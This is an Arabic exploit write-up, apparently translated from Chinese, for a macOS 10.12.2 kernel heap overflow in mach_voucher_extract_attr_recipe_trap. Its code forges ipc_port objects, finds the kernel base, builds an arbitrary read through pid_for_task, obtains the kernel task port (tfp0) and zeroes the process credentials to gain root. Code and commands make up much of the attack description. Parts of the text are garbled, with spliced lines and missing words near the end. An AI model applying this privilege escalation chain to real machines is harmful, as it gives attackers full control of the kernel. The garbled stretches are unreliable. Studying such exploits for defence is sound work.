
على Mac 10.12.2
يستغل هذا الاستغلال ثغرة في mach_voucher_extract_attr_recipe_trap، ويتمحور أسلوب الاستغلال حول رسائل MACH_MSG_OOL_PORTS_DESCRIPTOR.
بخصوص mach_msg ool، ببساطة عند إرسال msg يحتوي على ool descriptor، تقوم النواة بنسخ البيانات المحددة من مساحة المستخدم إلى مساحة النواة، وتبقي النواة على هذه البيانات حتى تقوم المهمة الهدف بمعالجة الرسالة. كذلك، عندما تستقبل العملية الهدف رسالة تحتوي على ool descriptor، تقوم النواة بنسخ البيانات من مساحة النواة إلى مساحة المستخدم (ليس بالضرورة نسخًا حقيقيًا). لذلك يمكن استغلال هذه النقطة التقنية لكتابة بيانات في كومة النواة أو قراءة بيانات منها.
نظرًا لأن استغلال هذه الثغرة أكثر تعقيدًا بكثير من ترايدنت، فقد قمت بتحليله خطوة بخطوة، من نقطة ظهور الثغرة إلى الاستغلال التدريجي. يمكنك الرجوع إلى الكود في github
من بين الميزات الجديدة المضافة في iOS 10 وmacOS 10.12 توجد دالة تسمى mach_voucher_extract_attr_recipe_trap، وهي عبارة عن Mach trap يمكن استدعاؤها داخل بيئة الاختبارات المعزولة (sandbox). فيما يلي الكود المصدري لهذه الدالة:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
args->recipe_size (4 بايت) إلى sz.sz بين MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) وMACH_VOUCHER_TRAP_STACK_LIMIT (256)، فسيتم تخصيص مخزن مؤقت في كومة النواة بناءً على قيمة sz.sz الذي تم استخدامه لتخصيص كومة النواة، بل مؤشر مساحة مستخدم، مما يؤدي إلى تجاوز في الكومة (heap overflow). هذه هي النقطة التي نستغلها في الهجوم. بالإضافة إلى ذلك، تتميز دالة copyin بخصوصية التوقف عن النسخ عند مواجهة صفحات غير معيّنة (unmap)، وسيتم استغلال هذه الخاصية في poc الخاص بنا:freelist، لم نعد نعرف مواضع الكتل الذاكرية التي يُعاد تخصيصها.نحتاج أولاً إلى فهم كيفية معالجة MACH_MSG_OOL_PORTS_DESCRIPTOR في mach msg. عندما تستقبل النواة رسالة معقدة وتكتشف أنها ports descriptor، تسلّمها إلى دالة ipc_kmsg_copyin_ool_ports_descriptor (التي يتم استدعاؤها بواسطة ipc_kmsg_copyin) لقراءة جميع كائنات port. تستدعي هذه الدالة kalloc لتخصيص الذاكرة المطلوبة (في 64-bit تكون الذاكرة المخصصة ضعف الإدخال، وطول name هو 4 بايت)، ثم تحوّل كل port صالح من name إلى عنوان كائن ipc_port الحقيقي وتخزنه. بالنسبة لـ name الذي يكون MACH_PORT_NULL أو MACH_PORT_DEAD، يبقى كما هو.
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if(ports_length == 0){
return user_desc;
}
data = kalloc(ports_length); // 分配空间
...
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue;
}
...
}
لذلك، أثناء الهجوم نرسل عددًا كبيرًا من MACH_PORT_DEAD لملء منطقة الذاكرة بالقيمة 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD)، ثم نقوم بتشغيل الثغرة لتعديل أحد قيم IPC_PORT_DEAD إلى منطقة ذاكرة يرتبها المهاجم. إذا كانت المنطقة المشار إليها بنية ipc port صالحة، فبعد استلام رسالة OOL PORTS سنتمكن من الحصول على port name المقابل لهذا ipc_port في مساحة المستخدم، لمتابعة الهجوم.
ipc_objectبما أننا حصلنا بالفعل على fake port، فلمتابعة تسريب المعلومات يجب أن نعرف المعاملات التي تعتمد عليها النواة في معالجتها المختلفة له. أولاً، لنلقِ نظرة على البنية ipc_port:
struct ipc_port {
//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
struct ipc_mqueue ip_messages; //消息队列
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
}data;
union {
ipc_importance_task_t imp_task;
ipc_kobject_t kobject; // port对应的内核对象
uintptr_t alias;
}kdata;
...
} __attribute__((__packed__));
يوجد في هذه البنية كائن نواة مرتبط بـ port، ونوع كائن النواة الذي يرتبط به هذا ipc_port تحدده خصائص ipc_object. لذا فإننا في الواقع نبني ipc_object بشكل متعمد.
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11; //设置port锁处于活动状态,防止死锁
عندها ستتعامل النواة مع هذا ipc_port على أنه port للتواصل مع كائن IKOT_CLOCK. الهدف التالي هو تسريب العنوان الأساسي للنواة:
نقوم بتزوير هذا ipc_port ليكون كائن IKOT_CLOCK، ثم نضبط مؤشر kdata.kobject على عنوان نواة. بعد كل تعديل لهذا العنوان، نستدعي clock_sleep_trap من مساحة المستخدم، فتقوم النواة باستدعاء port_name_to_clock للحصول على عنوان النواة هذا، وتمريره كمعامل clock إلى clock_sleep_internal. الكود المصدري كما يلي:
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
}
من الكود أعلاه نرى أنه إذا لم يكن عنوان clock هو عنوان clock_list[SYSTEM_CLOCK]، فستُرجع الدالة KERN_FAILURE، وإلا سترجع عنوانًا آخر. لذلك يمكننا استخدام القيمة المرجعة للقيام بعملية مسح (بتعديل قيمة kobject باستمرار) حتى يتم إرجاع KERN_FAILURE. عندها نكون قد حصلنا على عنوان clock_list[SYSTEM_CLOCK] داخل النواة، وهذا العنوان ليس على الكومة، بل هو متغير عام في النواة يقع في إزاحة محددة. بعد ذلك، نبدأ من هذا الموضع بقراءة ترويسة كل صفحة للأمام حتى نجد MH_MAGIC_64، أي 0xfeedfacf.
extern struct clock_ops sysclk_ops, calend_ops;
struct clock clock_list[] = {
{&sysclk_ops, 0, 0},
{&calend_ops, 0, 0}
};
بعد الحصول على هذا العنوان، نحتاج إلى تحويل الكائن الخاص بنا إلى نوع task، والعثور على العنوان الأساسي للنواة، وبذلك يمكننا حساب kslide، ومن ثم تنفيذ عملية tfp0 التالية.
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
نحصل على عنوان kobject وننتقل إلى بداية الصفحة. في PoC الخاص بـ Yalu102 وZheng min يختلف ترتيب هذه العملية، لكن هذا لا يؤثر، لأن عنوان faketask يقع أيضًا في نفس الصفحة، لذا فإن إجراء عملية AND واحدة سيعطينا عنوان بداية الصفحة.
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;
ثم نكتب حلقة لا نهائية للبحث عن MH_MAGIC_64، ومن ثم ننتقل إلى مرحلة tfp0:
while (1) {
int leaked = 0;
*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
pid_for_task(foundport, &leaked);
if (leaked == MH_MAGIC_64) {
printf("found kernel text at 0x%llx\n", leaked_ptr);
break;
}
//往前一个页面
leaked_ptr -= 0x4000;
}
أما عن سبب إمكانية تحقيق قراءة عشوائية للعناوين، فذلك لأن دالة pid_for_task لا تقوم بأي تحقق، بل تكتفي بتحويل المعامل المُمرر إلى عنوان وإجراء بعض عمليات الجمع والطرح:
kern_return_t pid_for_task(struct pid_for_task_args *args){
mach_port_t t = args->t;
...
t1 = port_name_to_task(t);
p = get_bsdtask_info(t1);
if(p){
pid = proc_id(p);
err = KERN_SUCCESS;
}
...
(void) copyout((char *)&pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return err;
}
//pid_for_task_args
struct pid_for_task_args{
PAD_ARG(mach_port_name_t t);
PAD_ARG(user_addr_r pid);
};
pid_for_task
تتلخص العملية برمتها في العثور على قائمة عمليات النواة، واجتيازها للعثور على عنوان عمليتنا وعنوان pid0. ثم نحصل على عنوان kernel task من عملية النواة، ومن kernel task نستخرج itk_sself (أي kernel task's port). بعد ذلك نستبدل معلومات ipc port المزور بمعلومات kernel task، ونوجه fake port إلى kernel task المزور، ونضبط bootstrap port الخاص بـ kernel task على port الحقيقي لـ kernel task. بعدها يمكننا عبر الواجهة task_get_special_port الحصول على الخاص بـ ، مما يتيح لنا قراءة وكتابة أي عنوان، وتحويل صلاحيات الخاصة بنا إلى .
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
for (int i = 0; i < 0x1000/4; i++) {
kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}
for (int i = 0; i < 0x1000/4; i++) {
kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;
//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);
fakeport->io_bits = 0;
uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;
printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));
//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);
pwn
shrek_wzw على مساعدته.portkernel taskprocroot